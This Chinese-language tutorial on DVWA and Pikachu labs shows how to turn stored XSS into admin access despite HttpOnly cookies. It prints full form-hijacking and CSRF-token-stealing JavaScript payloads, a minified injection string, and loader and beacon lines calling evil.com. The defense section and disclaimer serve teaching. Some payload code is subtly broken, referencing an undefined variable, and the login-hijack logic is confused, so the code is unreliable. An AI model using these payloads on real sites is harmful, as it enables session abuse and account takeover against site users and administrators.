从XSS弹窗到权限获取:实战绕过HttpOnly防护

📅 2026/7/12 4:26:32
从XSS弹窗到权限获取:实战绕过HttpOnly防护
1. 项目概述从弹窗到权限的实战跨越很多刚接触Web安全的朋友一提到XSS跨站脚本攻击第一反应可能就是弹个窗证明漏洞存在就完事了。这就像你发现了一扇没锁的门只在门口喊了一声“门没锁”却没有真正走进去看看里面有什么。在真实的渗透测试或安全研究中XSS的价值远不止于此。它的终极目标往往是获取更高权限比如后台管理员权限从而控制整个应用。这次我们要深入探讨的就是一个更具挑战性和实战价值的场景当目标网站的Cookie被设置了HttpOnly属性时如何绕过这一防护并最终拿到后台权限。HttpOnly是浏览器提供的一种安全机制它告诉浏览器“这个Cookie只能由服务器通过HTTP请求来读写前端的JavaScript脚本禁止访问。” 这直接掐断了传统XSS通过document.cookie窃取会话凭证Session的路径。所以只会弹窗的XSS在这里就失效了。但这并不意味着路被彻底堵死。安全攻防的本质就是“道高一尺魔高一丈”。HttpOnly防的是直接读取Cookie但如果我们能劫持用户的浏览器行为让浏览器“自动”帮我们发送带有这个Cookie的请求不就可以了吗这正是我们本次实战的核心思路。我们将通过一个完整的靶场复现流程演示如何利用存储型XSS在HttpOnly存在的情况下通过表单劫持Form Hijacking或CSRF跨站请求伪造技术诱导管理员或高权限用户执行我们预设的操作最终实现后台登录或权限提升。整个流程会涉及漏洞发现、利用链构造、绕过技巧和权限获取。我们会使用像DVWA、Pikachu这类经典的Web漏洞靶场作为环境因为它们环境纯净、漏洞典型非常适合学习和复现。通过这个项目你不仅能理解HttpOnly的防护原理和局限更能掌握一套从XSS漏洞发现到最终权限获取的完整实战方法论这才是安全研究的精髓所在。2. 核心思路与技术选型解析面对一个设置了HttpOnly的Cookie传统的“偷Cookie-重放登录”这条路走不通了。我们必须转变思路从“窃取数据”转向“劫持操作”。我们的目标是后台权限那么后台权限的获取通常有哪些途径呢无非两种1. 拿到后台登录凭证账号密码或Session2. 让当前已登录的高权限用户比如管理员在不知情的情况下执行能给我们授权或创建账号的操作。既然HttpOnly阻止了第一种途径我们就重点攻关第二种。这里有几个核心的技术方向可以选择2.1 技术路线对比表单劫持 vs. 直接CSRF攻击1. 表单劫持Form Hijacking / Login CSRF这是本次实战我们将采用的主要方法。其原理是当我们发现一个存在存储型XSS的页面例如留言板、评论框并且该页面能被管理员访问时我们就在这个页面注入一段恶意JavaScript代码。这段代码的作用不是弹窗而是动态地创建一个隐藏的、伪造的后台登录表单并自动填充上我们预设的攻击者账号密码然后自动提交这个表单。为什么有效因为提交表单这个动作是由受害者的浏览器在访问恶意页面时“自动”完成的。浏览器在向目标后台发送这个登录请求时会自动携带上当前域名下所有的Cookie包括那个HttpOnly的Session Cookie。服务器收到请求后看到的是一个来自合法用户因为带有有效Session、请求登录的POST请求。如果后台登录逻辑没有做二次验证如验证码、Token它很可能就会认为这是管理员本人在登录从而为攻击者账号创建一个有效的登录会话。优势不直接触碰HttpOnly Cookie而是利用浏览器的同源策略和自动携带Cookie的机制实现“借壳登录”。成功率取决于后台登录接口的防护强度。关键点需要找到一个存储型XSS点并且确保该页面会被有后台权限的用户访问。2. 直接CSRF攻击进行权限操作如果我们已经知道后台某些高危操作的接口例如“添加管理员”、“修改用户权限”并且这些接口缺乏CSRF Token等防护我们可以通过XSS发起一个CSRF请求。如何结合在XSS payload中构造一个指向这些高危接口的AJAX请求或自动提交的表单。当管理员浏览器执行这段JS时就会以管理员的身份执行添加账号或提权操作。与表单劫持的区别表单劫持目标是“登录”为自己创建一个会话直接CSRF是“越权操作”直接让管理员帮我们做事。后者通常需要更精确的后台接口信息。适用场景适用于后台功能接口存在CSRF漏洞的场景。相比表单劫持它不经过登录流程可能更直接。3. 其他辅助技术XSS配合钓鱼如果上述两种方法因防护严密而失败可以考虑更迂回的策略。例如利用XSS弹出一个高度伪造的“会话过期请重新登录”的弹窗诱骗管理员在钓鱼页面上输入账号密码。这已经属于社会工程学与XSS的结合对payload的伪装能力要求更高。我们的选择在本实战中我们将以表单劫持作为主要攻击路径进行演示。因为它最经典最能体现“绕过HttpOnly获取权限”这一主题并且对靶场环境普遍有效。我们会详细讲解如何构造这个隐藏表单如何确保它被正确提交以及如何处理可能遇到的简单防护。2.2 靶场环境选择DVWA与Pikachu为了复现我们需要一个包含存储型XSS漏洞且后台登录无强验证的靶场。DVWADamn Vulnerable Web Application和Pikachu都是绝佳选择。DVWA 知名度极高漏洞类型全面。其“XSS (Stored)”模块在低安全级别下存在典型的未过滤存储型XSS。它的后台登录逻辑通常比较简单适合演示表单劫持。Pikachu 国产开源靶场对漏洞的分类和说明更符合中文学习者的习惯。“XSS”模块下的“存储型XSS”场景也很清晰。为什么选它们这两个靶场都允许我们自由设置安全级别如DVWA的Low级别关闭了大部分过滤方便我们聚焦于攻击逻辑本身而不是绕过复杂的WAF。它们都内置了简单的后台管理系统为我们获取权限提供了明确的目标。注意所有实验均在本地或授权环境进行严禁对任何非授权目标进行测试。靶场的作用是理解漏洞原理和防护方法提升安全建设能力。3. 靶场环境搭建与漏洞定位工欲善其事必先利其器。我们先快速搭建一个实验环境。这里以DVWA为例因其部署最为简单常与XAMPP、PHPStudy等集成。3.1 DVWA环境快速部署如果你已经熟悉DVWA搭建可以跳过此节。对于新手简要步骤如下下载集成环境 下载并安装PHPStudy或XAMPP。这类工具一键集成了Apache、PHP、MySQL。部署DVWA 从DVWA官网github.com/digininja/DVWA下载源码解压到PHPStudy的www目录或XAMPP的htdocs目录下重命名为dvwa。配置数据库启动PHPStudy的Apache和MySQL服务。浏览器访问http://localhost/dvwa/setup.php。点击页面下方的“Create / Reset Database”按钮。这会自动创建数据库和表。修改配置文件 复制dvwa/config/config.inc.php.dist文件为config.inc.php。通常默认配置即可但如果连接数据库出错可能需要检查其中的数据库密码是否与你的MySQL密码一致PHPStudy默认密码常为root。登录 访问http://localhost/dvwa使用默认账号admin/password登录。设置安全等级 登录后在左侧菜单进入“DVWA Security”将安全级别设置为“Low”。这是我们进行漏洞复现的前提。3.2 定位存储型XSS漏洞点登录DVWA后我们的目标是找到那个可以存储恶意输入并被其他用户查看的地方。在左侧菜单点击“XSS (Stored)”。这是一个简单的留言板。尝试在“Name”和“Message”输入框输入一些测试payload比如 。点击“Sign Guestbook”提交。你会发现页面直接弹出了警告框并且你的留言包含脚本被永久保存在了页面列表中。关键验证 新开一个浏览器标签页无痕模式访问同一个留言板页面。你会发现弹窗依然会出现。这说明我们注入的脚本被存储在了服务器上任何后来访问此页面的用户都会执行它。这就是一个典型的存储型XSS漏洞。至此我们找到了攻击的“入口”。接下来我们需要构造更有杀伤力的payload而不是简单的弹窗。3.3 确认HttpOnly与后台目标在构造攻击payload前我们还需要确认两件事HttpOnly是否存在按F12打开浏览器开发者工具进入“应用程序”Application或“存储”Storage标签页查看Cookies。找到DVWA的会话Cookie通常叫PHPSESSID。观察其属性在低安全级别下DVWA默认可能没有设置HttpOnly。但这不影响我们的实验因为我们要演示的是在HttpOnly存在情况下的绕过方法。我们的payload构造逻辑在HttpOnly存在时同样有效。你可以通过修改服务端代码或使用浏览器插件强制为Cookie添加HttpOnly属性来模拟这一环境。后台地址是什么DVWA的后台其实就是它自己。但“获取后台权限”在DVWA语境下可以理解为获取一个管理员会话或者创建一个新的管理员账号。更贴近实战的模拟是假设这个留言板是某个应用的前台而该应用有一个独立的后台管理地址比如http://target/admin/login.php。我们的目标就是通过前台的XSS攻击访问该前台页面的后台管理员从而进入http://target/admin/。为了更逼真我们假设后台登录地址是http://localhost/dvwa/login.php虽然DVWA登录就是首页但我们把它当作独立后台。我们的攻击目标当管理员查看留言板时悄无声息地用一个我们控制的账号例如attacker:attack123在后台登录。4. 恶意Payload构造与表单劫持详解现在进入核心环节构造一个能绕过HttpOnly、实现表单劫持的XSS Payload。这个Payload需要完成以下任务在受害者浏览器中动态创建一个表单Form。将这个表单的提交目标action指向后台登录接口。在表单中填充我们预设的攻击者账号密码字段。自动提交这个表单。可选处理提交后的页面跳转隐藏攻击痕迹。4.1 基础Payload构造一个最基础的表单劫持Payload如下所示。我们将把它注入到DVWA的“Message”框中script // 创建一个隐藏的iframe用于静默提交表单避免当前页面跳转 var iframe document.createElement(iframe); iframe.name hiddenFrame; iframe.style.display none; document.body.appendChild(iframe); // 创建表单 var form document.createElement(form); form.method POST; form.action http://localhost/dvwa/login.php; // 目标后台登录地址 form.target hiddenFrame; // 将提交结果指向隐藏的iframe // 创建用户名输入框 var userInput document.createElement(input); user.input text; user.name username; // 根据实际后台登录参数名修改 user.value attacker; // 攻击者用户名 form.appendChild(userInput); // 创建密码输入框 var passInput document.createElement(input); passInput.type password; // 类型为password表单提交时仍会发送值 passInput.name password; // 根据实际后台登录参数名修改 passInput.value attack123; // 攻击者密码 form.appendChild(passInput); // 可以添加其他必要的隐藏字段例如CSRF Token如果已知且固定 // var tokenInput document.createElement(input); // tokenInput.type hidden; // tokenInput.name token; // tokenInput.value fixed_token_value; // 如果后台使用固定token或可预测token // form.appendChild(tokenInput); // 将表单添加到页面并自动提交 document.body.appendChild(form); form.submit(); // 提交后移除表单清理痕迹可选 setTimeout(function(){ document.body.removeChild(form); document.body.removeChild(iframe); }, 1000); /script代码解析与注意事项iframe的作用 将表单的target指向一个隐藏的iframe可以使登录请求在后台静默发生不会导致受害者浏览器当前页面留言板跳转到登录页或后台攻击更加隐蔽。参数名是关键user.name和passInput.name必须与目标后台登录接口期望的参数名完全一致。这需要情报收集。可以通过分析正规登录页面的HTML源码或者用Burp Suite抓取登录请求包来获取。假设DVWA登录参数是username和password。HttpOnly绕过 整个过程中我们的JavaScript没有尝试去读取document.cookie。表单由浏览器自动提交浏览器会自动将当前域名下的Cookie包括HttpOnly的会话Cookie附加到这次POST请求的Headers中。服务器看到的是一个来自“已认证会话”的登录请求这正是攻击得以成立的关键。潜在问题 如果后台登录需要验证码Captcha或动态CSRF Token这个简单Payload就会失效。我们需要更复杂的策略。4.2 应对简单防护Token劫持与模拟很多现代应用会使用CSRF Token来防护此类攻击。Token通常是一次性的、随表单下发的。如果后台登录表单包含Token我们的攻击就需要分两步走策略先窃取Token再构造请求第一步获取Token。 我们可以先利用XSS向后台登录页面login.php发起一个GET请求解析返回的HTML从中提取出CSRF Token的值。第二步构造含Token的POST请求。 使用获取到的Token填充到我们动态创建的表单中再提交。这需要我们的Payload具备“先GET后POST”的顺序执行能力。示例代码如下script // 第一步获取登录页面提取Token fetch(http://localhost/dvwa/login.php) .then(response response.text()) .then(html { // 创建一个临时DOM元素来解析HTML var parser new DOMParser(); var doc parser.parseFromString(html, text/html); // 假设Token在nametoken的input标签里 var tokenInput doc.querySelector(input[nametoken]); var tokenValue tokenInput ? tokenInput.value : ; // 第二步构造并提交表单 var iframe document.createElement(iframe); iframe.name stealthFrame; iframe.style.display none; document.body.appendChild(iframe); var form document.createElement(form); form.method POST; form.action http://localhost/dvwa/login.php; form.target stealthFrame; var fields { username: attacker, password: attack123, token: tokenValue // 使用窃取到的Token }; for (var name in fields) { var input document.createElement(input); input.type hidden; input.name name; input.value fields[name]; form.appendChild(input); } document.body.appendChild(form); form.submit(); setTimeout(() { document.body.removeChild(form); document.body.removeChild(iframe); }, 2000); }) .catch(err console.error(Fetch failed:, err)); /script实操心得这种“Token窃取重放”的攻击方式要求管理员访问恶意页面时其会话是有效的并且后台登录页的Token与会话绑定。如果Token与客户端其他特征如IP绑定此方法可能失效。此外fetchAPI可能受到CORS跨域资源共享策略的限制。如果目标后台设置了严格的CORS策略阻止来自其他源的fetch请求我们就需要换用其他方式比如通过创建一个img标签发起GET请求然后通过更复杂的方式解析响应这通常更困难。在实际漏洞利用中遇到强Token防护往往意味着此路不通需要寻找其他入口点。4.3 Payload交付与隐藏技巧将上面这一长串JavaScript代码直接粘贴到DVWA的留言框可能会因为长度限制或特殊字符过滤而失败。我们需要对它进行编码和压缩。URL编码 可以将整个脚本进行URL编码然后通过scripteval(decodeURIComponent(‘ENCODED_STRING‘))/script的方式执行。但DVWA的Low级别通常不需要。简化与压缩 删除所有注释、换行和多余空格将代码压缩成一行。这能有效减少体积避免截断。scriptvar idocument.createElement(‘iframe‘);i.name‘f‘;i.style.display‘none‘;document.body.appendChild(i);var fdocument.createElement(‘form‘);f.method‘POST‘;f.action‘http://localhost/dvwa/login.php‘;f.target‘f‘;var udocument.createElement(‘input‘);u.name‘username‘;u.value‘attacker‘;f.appendChild(u);var pdocument.createElement(‘input‘);p.type‘password‘;p.name‘password‘;p.value‘attack123‘;f.appendChild(p);document.body.appendChild(f);f.submit();setTimeout(function(){document.body.removeChild(f);document.body.removeChild(i);},1000);/script外部引用 更隐蔽的方式是将恶意脚本放在攻击者控制的服务器上然后XSS Payload只留下一行短小的加载代码如script src“http://evil.com/steal.js“/script。这便于更新攻击脚本也避免了在漏洞点留下过长的可疑字符串。在DVWALow中我们将压缩后的一行代码填入“Message”框“Name”框可以随意填写然后提交。5. 攻击模拟与权限获取验证提交Payload后我们的攻击代码已经存储在服务器上。接下来我们需要模拟管理员或任何有后台访问权限的用户来触发这个攻击。5.1 触发攻击使用另一个浏览器或者当前浏览器的无痕模式访问DVWA的首页http://localhost/dvwa。使用管理员账号 (admin:password) 登录。这一步模拟了管理员已经处于登录状态浏览器中存有有效的、HttpOnly的会话Cookie。在已登录的状态下让管理员去访问那个存在存储型XSS的留言板页面 (http://localhost/dvwa/vulnerabilities/xss_s/)。关键现象 当管理员页面加载完毕我们注入的脚本就会自动执行。管理员不会看到任何明显的异常如果用了隐藏iframe页面看起来一切正常。但在后台一个指向login.php的POST请求已经悄无声息地发出。5.2 验证攻击是否成功如何验证我们的攻击者账号attacker:attack123是否成功登录了呢检查网络请求 在管理员浏览器中打开开发者工具的“网络”Network选项卡刷新留言板页面。你应该能看到一个类型为document或xhr的请求目标是login.php方法为POST。查看该请求的“负载”Payload部分应该包含了usernameattackerpasswordattack123。更重要的是查看该请求的“请求头”Headers在Cookie那一栏你应该能看到PHPSESSIDxxx被自动带上了。这就是HttpOnly Cookie被“利用”的证据。验证登录状态新开一个浏览器标签页访问http://localhost/dvwa/login.php。尝试使用attacker:attack123进行登录。如果攻击成功这个账号现在应该已经具有了有效的会话。在DVWA中由于我们是用管理员会话发起的登录attacker账号可能被创建并登录。更真实的场景是攻击者用自己的浏览器访问后台输入attacker:attack123即可直接进入后台管理界面。另一种验证方式是在攻击Payload中让脚本在表单提交成功后向攻击者控制的服务器发送一个通知例如通过Image对象发起一个GET请求到http://evil.com/notify?statussuccess但这需要公网服务器。在DVWA的默认设置中由于其登录逻辑会检查现有会话直接用另一个用户的会话去登录一个新账号可能不会如预期那样工作。但这个过程清晰地演示了表单劫持的完整链条。在一个设计不当的真实系统中这种攻击很可能直接为攻击者创建一个活跃的后台会话。5.3 实战中的变通与拓展真实环境比靶场复杂得多以下是一些可能遇到的情况及应对思路后台地址未知 需要前期信息收集。可以通过爬取网站目录如robots.txt、目录扫描、分析前端JS代码、收集员工邮箱中的链接等方式尝试发现后台管理地址。登录参数复杂 除了用户名密码可能还有企业特有的字段。必须通过抓包仔细分析。存在强验证码 这是表单劫持的克星之一。如果验证码是前端生成不安全可能被一同窃取如果是后端生成且与会话绑定单纯的前端攻击很难绕过。此时可能需要结合其他漏洞如验证码绕过、短信轰炸导致验证码失效等。管理员不访问用户页面 存储型XSS需要管理员触发。如果后台管理员从不查看用户留言板攻击就无法生效。这就需要寻找管理员必然访问的页面如“内容审核列表”、“用户反馈中心”等或者利用“自我传播”的XSS如通过站内信功能发送给管理员。CSP内容安全策略限制 如果网站设置了严格的CSP禁止内联脚本unsafe-inline或只允许从特定域加载脚本我们的注入可能会失败。需要寻找CSP配置的弱点如允许unsafe-eval或允许来自某个可上传文件的域名。6. 防御措施与安全建议通过这次实战我们站在攻击者角度理解了绕过HttpOnly获取权限的链条。那么作为开发者或安全工程师应该如何防御呢6.1 分层防御策略防御不能只依赖单一措施必须层层设防。防御层具体措施作用与原理输入处理对用户输入进行严格的过滤和编码。根据输出上下文HTML、JavaScript、CSS、URL使用合适的编码函数如htmlspecialchars,encodeURIComponent。治本之策。防止XSS漏洞产生从源头上杜绝攻击入口。HttpOnly为所有会话Cookie设置HttpOnly属性。有效缓解。阻止JS直接窃取Cookie迫使攻击转向更复杂的利用方式。CSP实施严格的内容安全策略。例如script-src ‘self‘只允许同源脚本。强力遏制。即使存在XSS漏洞也能极大限制攻击者执行恶意脚本的能力。登录/敏感操作防护1.CSRF Token为所有状态变更请求登录、改密、授权添加随机、不可预测的Token。2.二次验证敏感操作如登录新设备、提权要求密码、短信验证码等二次确认。3.验证码登录接口增加验证码且验证码应在服务端校验一次后立即失效。核心防御。直接针对表单劫持、CSRF等攻击手段。CSRF Token是防御此类攻击的标配。会话管理1.会话超时设置合理的会话过期时间。2.会话固定防护登录成功后更新会话ID。3.关键操作复核后台关键操作如添加管理员应有日志记录并支持复核。增加攻击成本。即使攻击者获得临时权限也能及时止损并发现异常。6.2 对开发者的具体建议永远不要信任客户端输入 这是安全开发的铁律。所有来自用户的数据表单、URL参数、Cookie、Header在进入业务逻辑前都必须经过验证和净化。使用安全的框架和库 现代Web框架如React, Vue, Angular及模板引擎如Jinja2, Thymeleaf通常内置了上下文相关的自动编码机制能有效防止大部分XSS。不要自己拼接HTML字符串。为Cookie显式设置安全属性// PHP示例 setcookie(‘sessionid‘, $sessionId, [ ‘httponly‘ true, ‘secure‘ true, // 仅通过HTTPS传输 ‘samesite‘ ‘Lax‘ // 或 ‘Strict‘ 控制跨站请求是否发送Cookie ]);实施CSP 在HTTP响应头中添加Content-Security-Policy。可以从较严格的策略开始如default-src ‘self‘再根据业务需要逐步放宽。使用report-uri指令收集违规报告帮助调整策略。敏感操作必须使用POSTCSRF Token 不要用GET请求执行登录、修改数据等操作。表单中必须包含随机生成的CSRF Token并在服务端进行校验。后台登录强化启用验证码尤其是错误次数过多后。考虑双因素认证2FA。记录登录IP、设备等信息发现异常及时告警。6.3 对安全人员的建议漏洞挖掘时思维要超越弹窗 发现XSS后多思考一步“这个点谁能访问能用来做什么能否结合其他功能点达到更大危害” 尝试构造窃取Cookie、表单劫持、发起内部网络请求SSRF等高级payload。工具辅助 使用Burp Suite的Collaborator功能或类似的XSS平台如BeeF仅用于授权测试可以更方便地接收外带数据Out-of-Band验证漏洞是否可利用。关注漏洞链 在实战中一个XSS可能不足以直接获取权限但它可能是攻击链条中的关键一环。例如XSS 内部接口未授权访问 获取敏感数据XSS 浏览器漏洞 远程代码执行。绕过HttpOnly获取权限的实战深刻揭示了安全是一个整体工程。任何一个环节的疏忽都可能被攻击者串联起来形成致命的突破口。作为防御方我们需要建立纵深防御体系让攻击者每前进一步都面临新的障碍作为学习者和研究者理解这些攻击手法能让我们更好地站在攻击者角度思考从而构建出更坚固的防御。